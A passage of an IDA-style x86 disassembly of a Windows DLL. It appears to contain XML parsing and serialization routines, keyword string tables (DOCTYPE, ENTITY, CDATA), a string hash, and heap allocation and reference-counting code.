cmp dword ptr [eax+8], 0Bh
mov edi, eax
jg short loc_69B17A36
call sub_69B2E6D8
loc_69B17A36: ; CODE XREF: sub_69B173D1+65Ej
mov eax, [edi+38h]
mov edx, [esi]
push eax
mov ecx, esi
call dword ptr [edx+0A4h]
mov edi, eax
test edi, edi
jz short loc_69B17A79
push 20h
mov ecx, ebx
call sub_69B8A903
push offset off_69B17B20
mov ecx, ebx
call sub_69B8A970
push 20h
mov ecx, ebx
call sub_69B8A903
mov eax, [edi]
push 1
mov ecx, edi
call dword ptr [eax+2Ch]
push eax
mov ecx, ebx
call sub_69B8AAC2
loc_69B17A79: ; CODE XREF: sub_69B173D1+577j
; sub_69B173D1+58Ej ...
mov al, [esi+0Bh]
and al, 1Fh
cmp al, 4
jnz short loc_69B17ABC
mov ecx, [esi+0Ch]
call sub_69B3DABE
test eax, eax
jz short loc_69B17A93
mov esi, [eax+3Ch]
jmp short loc_69B17A95
; ---------------------------------------------------------------------------
loc_69B17A93: ; CODE XREF: sub_69B173D1+6BBj
xor esi, esi
loc_69B17A95: ; CODE XREF: sub_69B173D1+6C0j
test esi, esi
jz short loc_69B17ABC
push 20h
mov ecx, ebx
call sub_69B8A903
push 5Bh
mov ecx, ebx
call sub_69B8A903
push esi
mov ecx, ebx
call sub_69B8A970
push 5Dh
mov ecx, ebx
call sub_69B8A903
loc_69B17ABC: ; CODE XREF: sub_69B173D1+6AFj
; sub_69B173D1+6C6j
push 3Eh
mov ecx, ebx
loc_69B17AC0: ; CODE XREF: sub_69B173D1+4E6j
call sub_69B8A903
loc_69B17AC5: ; CODE XREF: sub_69B173D1+75j
; sub_69B173D1+FFj ...
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_69B173D1 endp
; ---------------------------------------------------------------------------
align 10h
off_69B17AD0 dd offset off_69B17D10 ; DATA XREF: sub_69B173D1+381o
; .data:69B92190o
align 8
dd 7
dd offset aVersion_0 ; "version"
off_69B17AE0 dd offset off_69B17D10 ; DATA XREF: sub_69B173D1+3B2o
; .data:69B92194o
align 8
dd 8
dd offset aEncoding ; "encoding"
off_69B17AF0 dd offset off_69B17D10 ; DATA XREF: sub_69B173D1+3DDo
; .data:69B921A0o
align 8
dd 0Ah
dd offset aStandalone_0 ; "standalone"
off_69B17B00 dd offset off_69B17D10 ; DATA XREF: sub_69B173D1+60Bo
; .data:69B921B0o
align 8
dd 6
dd offset aSystem ; "SYSTEM"
off_69B17B10 dd offset off_69B17D10 ; DATA XREF: sub_69B173D1+5C2o
; .data:69B921ACo
align 8
dd 6
dd offset aPublic ; "PUBLIC"
off_69B17B20 dd offset off_69B17D10 ; DATA XREF: sub_69B173D1+682o
; .data:69B921B4o
align 8
dd 5
dd offset aNdata ; "NDATA"
off_69B17B30 dd offset off_69B17D10 ; DATA XREF: sub_69B173D1+519o
; .data:69B921D8o
align 8
dd 6
dd offset aEntity ; "ENTITY"
off_69B17B40 dd offset off_69B17D10 ; DATA XREF: sub_69B173D1+2E1o
align 8
dd 7
dd offset aCdata_1 ; "[CDATA["
off_69B17B50 dd offset off_69B17D10 ; DATA XREF: sub_69B173D1+50Do
; .data:69B92198o
align 8
dd 7
dd offset aDoctype_0 ; "DOCTYPE"
off_69B17B60 dd offset off_69B17D10 ; DATA XREF: sub_69B173D1+525o
; .data:69B921DCo
align 8
dd 8
dd offset aNotation ; "NOTATION"
off_69B17B70 dd offset off_69B17D10 ; DATA XREF: sub_69B173D1+7Eo
; sub_69B173D1+344o
align 8
dd 2
dd offset a?_1 ; "<?"
off_69B17B80 dd offset off_69B17D10 ; DATA XREF: sub_69B173D1:loc_69B177B9o
align 8
dd 2
dd offset a?_2 ; "?>"
off_69B17B90 dd offset off_69B17D10 ; DATA XREF: sub_69B173D1+2D5o
align 8
dd 2
dd offset asc_69B17CB8 ; "<!"
off_69B17BA0 dd offset off_69B17D10 ; DATA XREF: sub_69B173D1+29Fo
align 8
dd 2
dd offset asc_69B17CC0 ; "</"
off_69B17BB0 dd offset off_69B17D10 ; DATA XREF: sub_69B173D1+1B7o
align 8
dd 2
dd offset asc_69B17CC8 ; "/>"
off_69B17BC0 dd offset off_69B17D10 ; DATA XREF: sub_69B173D1+C9o
align 8
dd 4
dd offset asc_69B17CD0 ; "<!--"
off_69B17BD0 dd offset off_69B17D10 ; DATA XREF: sub_69B173D1+E9o
align 8
dd 3
dd offset asc_69B17CDC ; "-->"
off_69B17BE0 dd offset off_69B17D10 ; DATA XREF: sub_69B173D1+2FFo
align 8
dd 3
dd offset asc_69B17CE8 ; "]]>"
aVersion_0: ; DATA XREF: .text:69B17ADCo
unicode 0, <version>,0
aEncoding: ; DATA XREF: .text:69B17AECo
unicode 0, <encoding>,0
align 4
aStandalone_0: ; DATA XREF: .text:69B17AFCo
unicode 0, <standalone>,0
align 10h
aSystem: ; DATA XREF: .text:69B17B0Co
unicode 0, <SYSTEM>,0
align 10h
aPublic: ; DATA XREF: .text:69B17B1Co
unicode 0, <PUBLIC>,0
align 10h
aNdata: ; DATA XREF: .text:69B17B2Co
unicode 0, <NDATA>,0
aEntity: ; DATA XREF: .text:69B17B3Co
unicode 0, <ENTITY>,0
align 10h
aCdata_1: ; DATA XREF: .text:69B17B4Co
unicode 0, <[CDATA[>,0
aDoctype_0: ; DATA XREF: .text:69B17B5Co
unicode 0, <DOCTYPE>,0
aNotation: ; DATA XREF: .text:69B17B6Co
unicode 0, <NOTATION>,0
align 8
a?_1: ; DATA XREF: .text:69B17B7Co
dw 3Ch
unicode 0, <?>,0
align 10h
a?_2: ; DATA XREF: .text:69B17B8Co
unicode 0, <?>
dw 3Eh
unicode 0, <>,0
align 4
asc_69B17CB8: ; DATA XREF: .text:69B17B9Co
dw 3Ch
unicode 0, <!>,0
align 10h
asc_69B17CC0: ; DATA XREF: .text:69B17BACo
dw 3Ch
unicode 0, </>,0
align 4
asc_69B17CC8: ; DATA XREF: .text:69B17BBCo
unicode 0, </>
dw 3Eh
unicode 0, <>,0
align 10h
asc_69B17CD0: ; DATA XREF: .text:69B17BCCo
dw 3Ch
unicode 0, <!-->,0
align 4
asc_69B17CDC: ; DATA XREF: .text:69B17BDCo
unicode 0, <-->
dw 3Eh
unicode 0, <>,0
align 8
asc_69B17CE8: ; DATA XREF: .text:69B17BECo
unicode 0, <]]>
dw 3Eh
unicode 0, <>,0
; =============== S U B R O U T I N E =======================================
sub_69B17CF0 proc near ; DATA XREF: .text:69B1D3C0o
mov eax, [ecx]
call dword ptr [eax+38h]
test eax, eax
jnz short locret_69B17CFE
mov eax, offset off_69B17D00
locret_69B17CFE: ; CODE XREF: sub_69B17CF0+7j
retn
sub_69B17CF0 endp
; ---------------------------------------------------------------------------
align 10h
off_69B17D00 dd offset off_69B17D10 ; DATA XREF: sub_69B17CF0+9o
align 8
dd 9
dd offset aException ; "Exception"
off_69B17D10 dd offset sub_69B6547B ; DATA XREF: .text:off_69B150B0o
; .text:off_69B17AD0o ...
dd offset sub_69B1EC38
dd offset sub_69B1EC38
align 10h
dd offset sub_69B1B57D
dd 2 dup(0)
dd offset sub_69B18884
dd offset sub_69B17D5C
dd offset sub_69B11DBD
dd 0
dd offset sub_69B1B57D
dd offset nullsub_5
align 8
aException: ; DATA XREF: .text:69B17D0Co
unicode 0, <Exception>,0
; =============== S U B R O U T I N E =======================================
sub_69B17D5C proc near ; DATA XREF: .text:69B12230o
; .text:69B17D30o ...
push dword ptr [ecx+8]
push dword ptr [ecx+0Ch]
call sub_69B17D68
retn
sub_69B17D5C endp
; =============== S U B R O U T I N E =======================================
sub_69B17D68 proc near ; CODE XREF: sub_69B17D5C+6p
; sub_69B1941C+27p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
xor eax, eax
test edx, edx
jle short locret_69B17D85
mov ecx, [esp+arg_0]
push esi
loc_69B17D77: ; CODE XREF: sub_69B17D68+1Aj
movzx esi, word ptr [ecx]
imul eax, 71h
add eax, esi
inc ecx
inc ecx
dec edx
jnz short loc_69B17D77
pop esi
locret_69B17D85: ; CODE XREF: sub_69B17D68+8j
retn 8
sub_69B17D68 endp
; =============== S U B R O U T I N E =======================================
sub_69B17D88 proc near ; DATA XREF: .text:69B1812Co
; FUNCTION CHUNK AT 69B23F9F SIZE 0000000B BYTES
push esi
push edi
mov edi, ecx
lea esi, [edi+10h]
cmp dword ptr [esi], 0
jz short loc_69B17DC3
push dwTlsIndex
call dword_69B92970
test byte ptr [edi+18h], 1
jnz loc_69B23F9F
mov ecx, dword_69B95A20
loc_69B17DB0: ; CODE XREF: sub_69B17D88+C21Dj
test ecx, ecx
jz short loc_69B17DBB
push dword ptr [esi]
call sub_69B17DC6
loc_69B17DBB: ; CODE XREF: sub_69B17D88+2Aj
push 0
push esi
call sub_69B17320
loc_69B17DC3: ; CODE XREF: sub_69B17D88+Aj
pop edi
pop esi
retn
sub_69B17D88 endp
; =============== S U B R O U T I N E =======================================
sub_69B17DC6 proc near ; CODE XREF: sub_69B11FFF+2Ep
; sub_69B17D88+2Ep ...
; FUNCTION CHUNK AT 69B1203D SIZE 0000002D BYTES
; FUNCTION CHUNK AT 69B189BE SIZE 00000064 BYTES
push 54h
push offset dword_69B17E88
call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
push dword ptr [esi+24h]
lea ecx, [ebp-20h]
call sub_69B18E23
and dword ptr [ebp-4], 0
lea eax, [ebp-24h]
push eax
lea eax, [ebp-28h]
push eax
lea eax, [ebp-2Ch]
push eax
mov edi, [ebp+8]
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+20h]
push eax
push edi
mov ecx, esi
call sub_69B1879A
xor edi, edi
inc edi
cmp eax, edi
jnz loc_69B12061
mov ecx, [ebp-2Ch]
mov ebx, [ecx+0Ch]
mov [ebp-30h], ebx
mov eax, [ecx+4]
mov [ebp-34h], eax
push esi
call sub_69B17EA0
dec dword ptr [esi+0Ch]
mov eax, [ebp-24h]
cmp eax, 0FFFFFFFFh
jnz loc_69B1203D
loc_69B17E34: ; CODE XREF: sub_69B17DC6-5D73j
mov eax, [ebp-28h]
cmp [esi+1Ch], eax
jle loc_69B12058
loc_69B17E40: ; CODE XREF: sub_69B17DC6-5D6Aj
lea ecx, [ebp-50h]
call sub_69B1206A
and dword ptr [ebp-4Ch], 0
mov [ebp-4], edi
loc_69B17E4F: ; CODE XREF: sub_69B17DC6+C57j
cmp ebx, 0FFFFFFFFh
jnz loc_69B189C4
loc_69B17E58: ; CODE XREF: sub_69B24072+14j
and dword ptr [ebp-4], 0
push esi
lea ecx, [ebp-50h]
call sub_69B17EA0
lea ecx, [ebp-50h]
call sub_69B12070
loc_69B17E6D: ; CODE XREF: sub_69B17DC6-5D61j
; .text:69B240A4j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-20h]
call sub_69B1900C
mov eax, [ebp-34h]
call sub_69B1853C
retn 4
sub_69B17DC6 endp
; ---------------------------------------------------------------------------
align 8
dword_69B17E88 dd 0FFFFFFFFh dd offset loc_69B2408B
dd offset loc_69B24094
align 8
dd offset sub_69B24069
dd offset sub_69B24072
; =============== S U B R O U T I N E =======================================
sub_69B17EA0 proc near ; CODE XREF: sub_69B17DC6+5Ap
; sub_69B17DC6+9Ap ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push 0
push esi
call sub_69B17320
push [esp+4+arg_0]
mov ecx, esi
call sub_69B17EBE
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_69B17EA0 endp
; =============== S U B R O U T I N E =======================================
sub_69B17EBE proc near ; CODE XREF: sub_69B17EA0+11p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B23FAA SIZE 0000000E BYTES
mov eax, [esp+arg_0]
cmp byte ptr [eax+8], 0
jnz loc_69B23FAA
and dword ptr [ecx+4], 0
locret_69B17ED0: ; CODE XREF: sub_69B17EBE+C0F5j
retn 4
sub_69B17EBE endp
; =============== S U B R O U T I N E =======================================
sub_69B17ED3 proc near ; CODE XREF: sub_69B190D7+6p
; sub_69B2F2CA+25p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
lea eax, [esi+edi*2+2]
push eax
call sub_69B17EF3
mov [eax+8], edi
lea ecx, [eax+esi]
pop edi
mov [eax+0Ch], ecx
pop esi
retn
sub_69B17ED3 endp
; =============== S U B R O U T I N E =======================================
sub_69B17EF3 proc near ; CODE XREF: sub_69B11CFE+Fp
; sub_69B11DC2+Dp ...
arg_0 = dword ptr 4
push ebx
push esi
push [esp+8+arg_0]
mov ebx, 2000000Ch
call sub_69B17F2C
mov esi, eax
test esi, esi
jz short loc_69B17F25
push dwTlsIndex
call dword_69B92970
mov eax, [eax+2Ch]
neg eax
sbb eax, eax
and eax, 0FFFFFFFBh
add eax, 4
mov [esi+4], eax
loc_69B17F25: ; CODE XREF: sub_69B17EF3+14j
mov eax, esi
pop esi
pop ebx
retn 4
sub_69B17EF3 endp
; =============== S U B R O U T I N E =======================================
sub_69B17F2C proc near ; CODE XREF: sub_69B11E44+7p
; sub_69B17EF3+Bp ...
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B22B90 SIZE 00000042 BYTES
mov eax, dword_69B92978
test eax, eax
push esi
jnz loc_69B22B90
loc_69B17F3A: ; CODE XREF: sub_69B17F2C+AC6Aj
push [esp+4+arg_0]
push ebx
push dword_69B949F8
call sub_69B17F72
loc_69B17F4A: ; CODE XREF: sub_69B17F2C+AC7Aj
mov esi, eax
test esi, esi
jz short loc_69B17F68
test bl, 8
jz short loc_69B17F62
cmp dword_69B92978, 0
jnz loc_69B22BAB
loc_69B17F62: ; CODE XREF: sub_69B17F2C+27j
; sub_69B17F2C+3Fj ...
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_69B17F68: ; CODE XREF: sub_69B17F2C+22j
test bl, 4
jz short loc_69B17F62
jmp loc_69B22BC8
sub_69B17F2C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B17F72 proc near ; CODE XREF: sub_69B17F2C+19p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
; FUNCTION CHUNK AT 69B11C4B SIZE 0000002A BYTES
; FUNCTION CHUNK AT 69B1B2DB SIZE 00000077 BYTES
; FUNCTION CHUNK AT 69B237B1 SIZE 000000A6 BYTES
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, [ebp+arg_0]
mov eax, [ebx+4]
or [ebp+arg_4], eax
push esi
push edi
mov edi, [ebp+arg_8]
add edi, 7
and edi, 0FFFFFFF8h
add edi, 8
cmp edi, 3F9h
jnb loc_69B11C4B
mov eax, edi
shr eax, 3
mov [ebp+var_4], eax
loc_69B17FA4: ; CODE XREF: sub_69B17F72-6320j
push dwTlsIndex
call dword_69B92970
xor edx, edx
cmp eax, edx
mov [ebp+var_8], eax
jz loc_69B11C57
mov ecx, [eax+4Ch]
mov [ebp+arg_0], ecx
mov [ebp+var_C], ecx
loc_69B17FC6: ; CODE XREF: sub_69B17F72-6313j
cmp ecx, [ebx]
jnb loc_69B237B1
loc_69B17FCE: ; CODE XREF: sub_69B17F72+B847j
imul ecx, 2270h
lea esi, [ecx+ebx+10h]
loc_69B17FD8: ; CODE XREF: sub_69B17F72+B880j
mov eax, [ebp+var_4]
cmp eax, 0FFFFFFFh
jz short loc_69B17FF1
lea eax, [esi+eax*4+2070h]
cmp [eax], edx
jnz loc_69B237BE
loc_69B17FF1: ; CODE XREF: sub_69B17F72+6Ej
; sub_69B17F72+B85Aj
lea ecx, [esi+2034h]
call sub_69B1808E
test al, al
jz loc_69B237D1
loc_69B18004: ; CODE XREF: sub_69B17F72+B8C9j
inc dword ptr [esi+205Ch]
xor ebx, ebx
cmp [esi+2030h], ebx
jnz loc_69B23840
loc_69B18018: ; CODE XREF: sub_69B17F72+B8D4j
test byte ptr [ebp+arg_4+3], 20h
jz loc_69B1B2DB
mov eax, [ebp+arg_8]
add eax, 0Fh
and eax, 0FFFFFFF0h
cmp eax, 210h
jnb loc_69B1B2DB
shr eax, 4
push eax
lea eax, [esi+4]
push eax
call sub_69B184B1
cmp eax, ebx
pop ecx
pop ecx
mov [ebp+var_C], eax
jz loc_69B1B2DB
lea ecx, [esi+2034h]
call sub_69B18381
test byte ptr [ebp+arg_4], 8
jz short loc_69B18077
mov ecx, [ebp+arg_8]
mov edi, [ebp+var_C]
mov edx, ecx
shr ecx, 2
xor eax, eax
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_69B18077: ; CODE XREF: sub_69B17F72+EDj
mov eax, [ebp+var_8]
cmp eax, ebx
jz short loc_69B18084
mov ecx, [ebp+arg_0]
mov [eax+4Ch], ecx
loc_69B18084: ; CODE XREF: sub_69B17F72+10Aj
mov eax, [ebp+var_C]
loc_69B18087: ; CODE XREF: sub_69B17F72-6302j
; sub_69B17F72+33C3j ...
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_69B17F72 endp
; =============== S U B R O U T I N E =======================================
sub_69B1808E proc near ; CODE XREF: sub_69B17F72+85p
; sub_69B182B8+6Ap ...
; FUNCTION CHUNK AT 69B2343C SIZE 00000020 BYTES
push ebx
mov ebx, ds:InterlockedIncrement
push ebp
push esi
mov esi, ecx
push edi
lea ebp, [esi+10h]
push ebp ; lpAddend
call ebx ; InterlockedIncrement
lea edi, [esi+14h]
push edi ; lpAddend
call ebx ; InterlockedIncrement
xor eax, eax
inc eax
cmp [edi], eax
jnz loc_69B2343C
loc_69B180B1: ; CODE XREF: sub_69B1808E+B3C9j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_69B1808E endp
; =============== S U B R O U T I N E =======================================
sub_69B180B6 proc near ; CODE XREF: sub_69B19621+CBp
; sub_69B19621+A8D2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_69B17275
neg eax
sbb eax, eax
neg eax
push eax
mov ecx, esi
call sub_69B18130
push [esp+4+arg_0]
lea eax, [esi+10h]
mov dword ptr [esi], offset off_69B180F4
and dword ptr [eax], 0
push eax
call sub_69B17320
mov eax, [esp+4+arg_4]
mov [esi+14h], eax
mov eax, esi
pop esi
retn 8
sub_69B180B6 endp
; ---------------------------------------------------------------------------
align 4
off_69B180F4 dd offset sub_69B2D67E ; DATA XREF: sub_69B180B6+21o
dd offset sub_69B18947
dd offset sub_69B17248
dd offset sub_69B186D4
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B2FA1F
dd offset sub_69B2FAB8
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B480D7
dd offset nullsub_5
dd offset nullsub_5
dd offset sub_69B17D88
; =============== S U B R O U T I N E =======================================
sub_69B18130 proc near ; CODE XREF: sub_69B17285+17p
; sub_69B180B6+15p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B1814A
mov eax, dword_69B929A8
mov [esi+0Ch], eax
mov eax, esi
pop esi
retn 4
sub_69B18130 endp
; =============== S U B R O U T I N E =======================================
sub_69B1814A proc near ; CODE XREF: sub_69B18130+7p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B18169
mov dword ptr [esi], offset off_69B18670
mov dword ptr [esi+8], 1
mov eax, esi
pop esi
retn 4
sub_69B1814A endp
; =============== S U B R O U T I N E =======================================
sub_69B18169 proc near ; CODE XREF: sub_69B1814A+7p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B23320 SIZE 0000001B BYTES
push esi
mov esi, ecx
call sub_69B1818F
cmp [esp+4+arg_0], 0
mov dword ptr [esi], offset off_69B12188
jnz loc_69B23320
mov dword ptr [esi+4], 1
loc_69B18189: ; CODE XREF: sub_69B18169+B1CDj
mov eax, esi
pop esi
retn 4
sub_69B18169 endp
; =============== S U B R O U T I N E =======================================
sub_69B1818F proc near ; CODE XREF: sub_69B62A37-4D669p
; sub_69B16098+14p ...
; FUNCTION CHUNK AT 69B11C91 SIZE 0000000B BYTES
push esi
mov esi, ecx
push esi
call sub_69B181A4
test al, al
jz loc_69B11C91
loc_69B181A0: ; CODE XREF: sub_69B1818F-64F8j
mov eax, esi
pop esi
retn
sub_69B1818F endp
; =============== S U B R O U T I N E =======================================
sub_69B181A4 proc near ; CODE XREF: sub_69B1818F+4p
; sub_69B18700+4p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
shr eax, 10h
xor edx, edx
mov ecx, eax
inc edx
and ecx, 7
shl edx, cl
shr eax, 3
mov al, byte ptr dword_69B929F8[eax]
and dl, al
neg dl
sbb edx, edx
neg edx
mov al, dl
retn 4
sub_69B181A4 endp
; =============== S U B R O U T I N E =======================================
sub_69B181CB proc near ; CODE XREF: sub_69B3156E+Ep
push esi
push edi
mov esi, ecx
call sub_69B19118
lea edi, [esi+8]
mov ecx, edi
call sub_69B1818F
mov dword ptr [edi], offset off_69B181F8
mov dword ptr [esi], offset off_69B18240
and dword ptr [esi+0Ch], 0
pop edi
mov eax, esi
pop esi
retn
sub_69B181CB endp
; ---------------------------------------------------------------------------
align 8
off_69B181F8 dd offset sub_69B65C47 ; DATA XREF: sub_69B181CB+13o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B7624E
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B6860C
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B62A4E
dd offset sub_69B31495
dd offset sub_69B31501
dd offset sub_69B31510
dd offset sub_69B71456
off_69B18240 dd offset sub_69B6547B ; DATA XREF: sub_69B62A37-4D65Do
; sub_69B76419-5FE2Ao ...
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset loc_69B763FE
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset loc_69B7629F
; =============== S U B R O U T I N E =======================================
sub_69B18278 proc near ; CODE XREF: .text:69B65C86j
; sub_69B76F4B+3j
; DATA XREF: ...
test ecx, ecx
jz short locret_69B18283
mov eax, [ecx]
push 1
call dword ptr [eax+0Ch]
locret_69B18283: ; CODE XREF: sub_69B18278+2j
retn
sub_69B18278 endp
; =============== S U B R O U T I N E =======================================
sub_69B18284 proc near ; DATA XREF: .text:69B121DCo
; .text:69B1221Co ...
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B186FA
test [esp+4+arg_0], 1
jz short loc_69B18299
push esi
call sub_69B1829F
loc_69B18299: ; CODE XREF: sub_69B18284+Dj
mov eax, esi
pop esi
retn 4
sub_69B18284 endp
; =============== S U B R O U T I N E =======================================
sub_69B1829F proc near ; CODE XREF: sub_69B18284+10p
; sub_69B186D4+1Bp ...
arg_0 = dword ptr 4
cmp [esp+arg_0], 0
jz short locret_69B182B5
push [esp+arg_0]
push dword_69B949F8
call sub_69B182B8
locret_69B182B5: ; CODE XREF: sub_69B1829F+5j
retn 4
sub_69B1829F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B182B8 proc near ; CODE XREF: sub_69B1829F+11p
; sub_69B1B2B7+1Cp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 69B1BBE4 SIZE 00000096 BYTES
; FUNCTION CHUNK AT 69B236EF SIZE 00000036 BYTES
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
push dwTlsIndex
call dword_69B92970
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
and eax, 0FFFFF000h
mov edi, [eax]
and edi, 0FFFFFFFEh
lea esi, [edi-4]
mov eax, esi
sub eax, [ebp+arg_0]
mov ecx, 2270h
sub eax, 10h
cdq
mov ebx, ecx
idiv ebx
mov edx, [ebp+arg_0]
mov ebx, eax
test ebx, ebx
jl loc_69B1BBE4
cmp ebx, [edx]
jge loc_69B1BBE4
imul eax, 2270h
lea eax, [eax+edx+14h]
cmp edi, eax
jnz loc_69B1BBE4
lea ecx, [esi+2034h]
mov [ebp+arg_0], ecx
call sub_69B1808E
test al, al
jz loc_69B236F7
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push [ebp+arg_4]
push edi
call sub_69B11E93
add esp, 10h
test eax, eax
jz loc_69B236EF
mov ecx, [ebp+var_4]
inc dword ptr [esi+2060h]
test ecx, ecx
jz short loc_69B1835B
mov [ecx+4Ch], ebx
loc_69B1835B: ; CODE XREF: sub_69B182B8+9Ej
push eax
push [ebp+var_8]
push [ebp+var_C]
push edi
call sub_69B1872D
mov ebx, [ebp+arg_0]
xor esi, esi
add esp, 10h
inc esi
loc_69B18371: ; CODE XREF: sub_69B182B8+39A8j
mov ecx, ebx
call sub_69B18381
mov eax, esi
loc_69B1837A: ; CODE XREF: sub_69B182B8+39B6j
pop edi
pop esi
pop ebx
leave
retn 8
sub_69B182B8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_69B18381 proc near ; CODE XREF: sub_69B11D73j
; sub_69B17F72+E4p ...
; FUNCTION CHUNK AT 69B23417 SIZE 00000008 BYTES
push esi
mov esi, ecx
push edi
mov edi, ds:InterlockedDecrement
lea eax, [esi+14h]
push eax ; lpAddend
call edi ; InterlockedDecrement
lea eax, [esi+10h]
push eax ; lpAddend
call edi ; InterlockedDecrement
cmp dword ptr [esi+24h], 0
pop edi
jg loc_69B23417
pop esi
retn
sub_69B18381 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B17320
loc_69B183A4: ; CODE XREF: sub_69B17320+15j
mov eax, [ebx]
push ebx
call dword ptr [eax+8]
jmp loc_69B1733B
; END OF FUNCTION CHUNK FOR sub_69B17320
; =============== S U B R O U T I N E =======================================
sub_69B183AF proc near ; CODE XREF: sub_69B65C5B+5j
; .text:69B65C7Ej ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
call sub_69B183BB
retn 4
sub_69B183AF endp
; =============== S U B R O U T I N E =======================================
sub_69B183BB proc near ; CODE XREF: sub_69B17254+7j
; sub_69B183AF+4p ...
; FUNCTION CHUNK AT 69B2335B SIZE 00000075 BYTES
push ebx
push ebp
push edi
mov edi, ecx
lea ebp, [edi+4]
mov ebx, [ebp+0]
cmp ebx, 0FFFFFFFFh
jz short loc_69B183D4
test bl, 4
jnz loc_69B2335B
loc_69B183D4: ; CODE XREF: sub_69B183BB+Ej
push ebp ; Target
call sub_69B18980
push eax
mov ecx, edi
call sub_69B183E6
loc_69B183E2: ; CODE XREF: sub_69B183BB+B008j
; sub_69B183BB+B010j
pop edi
pop ebp
pop ebx
retn
sub_69B183BB endp
; =============== S U B R O U T I N E =======================================
sub_69B183E6 proc near ; CODE XREF: sub_69B183BB+22p
; sub_69B480E4:loc_69B4812Fp ...
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B2333B SIZE 00000020 BYTES
push ebx
mov ebx, [esp+4+arg_0]
sub ebx, 8
push esi
mov eax, ebx
shr eax, 3
push edi
mov esi, ecx
jz short loc_69B1840F
mov [esi+4], ebx
loc_69B183FC: ; CODE XREF: sub_69B183E6+71j
pop edi
pop esi
pop ebx
retn 4
; ---------------------------------------------------------------------------
loc_69B18402: ; CODE XREF: sub_69B183E6+3Dj
; sub_69B183E6+49j ...
push edi
mov ecx, esi
call sub_69B2D6F7
jmp loc_69B2333B
; ---------------------------------------------------------------------------
loc_69B1840F: ; CODE XREF: sub_69B183E6+11j
push dwTlsIndex
call dword_69B92970
mov edi, eax
cmp dword_69B9299C, edi
jnz short loc_69B18402
push ebx
mov ecx, esi
call sub_69B18459
test eax, eax
jnz short loc_69B18402
mov eax, [edi+48h]
cmp eax, 200h
jnb short loc_69B18402
inc eax
mov [edi+48h], eax
mov eax, [esi]
call dword ptr [eax+34h]
dec dword ptr [edi+48h]
mov eax, [esi]
mov ecx, esi
mov dword ptr [esi+4], 3
call dword ptr [eax+18h]
loc_69B18455: ; CODE XREF: sub_69B183E6+AF63j
; sub_69B183E6+AF70j
xor eax, eax
jmp short loc_69B183FC
sub_69B183E6 endp
; =============== S U B R O U T I N E =======================================
sub_69B18459 proc near ; CODE XREF: sub_69B183E6+42p
; sub_69B17135+1DE7p ...
arg_0 = byte ptr 4
; FUNCTION CHUNK AT 69B22E56 SIZE 00000010 BYTES
cmp byte_69B929A4, 0
jz short loc_69B18467
loc_69B18462: ; CODE XREF: sub_69B18459+2Bj
xor eax, eax
locret_69B18464: ; CODE XREF: sub_69B18459+30j
retn 4
; ---------------------------------------------------------------------------
loc_69B18467: ; CODE XREF: sub_69B18459+7j
test [esp+arg_0], 2
jnz short loc_69B18486
mov eax, dword_69B929C4
mov edx, dword_69B92984
add eax, 0FFFFFFFCh
loc_69B1847C: ; CODE XREF: sub_69B18459+AA08j
cmp eax, edx
jnb loc_69B22E56
jmp short loc_69B18462
; ---------------------------------------------------------------------------
loc_69B18486: ; CODE XREF: sub_69B18459+13j
; sub_69B18459+A9FFj
xor eax, eax
inc eax
jmp short locret_69B18464
sub_69B18459 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B184B1
loc_69B1848B: ; CODE XREF: sub_69B184B1+4Bj
; sub_69B184B1+50j ...
add edi, 8
add eax, 1000h
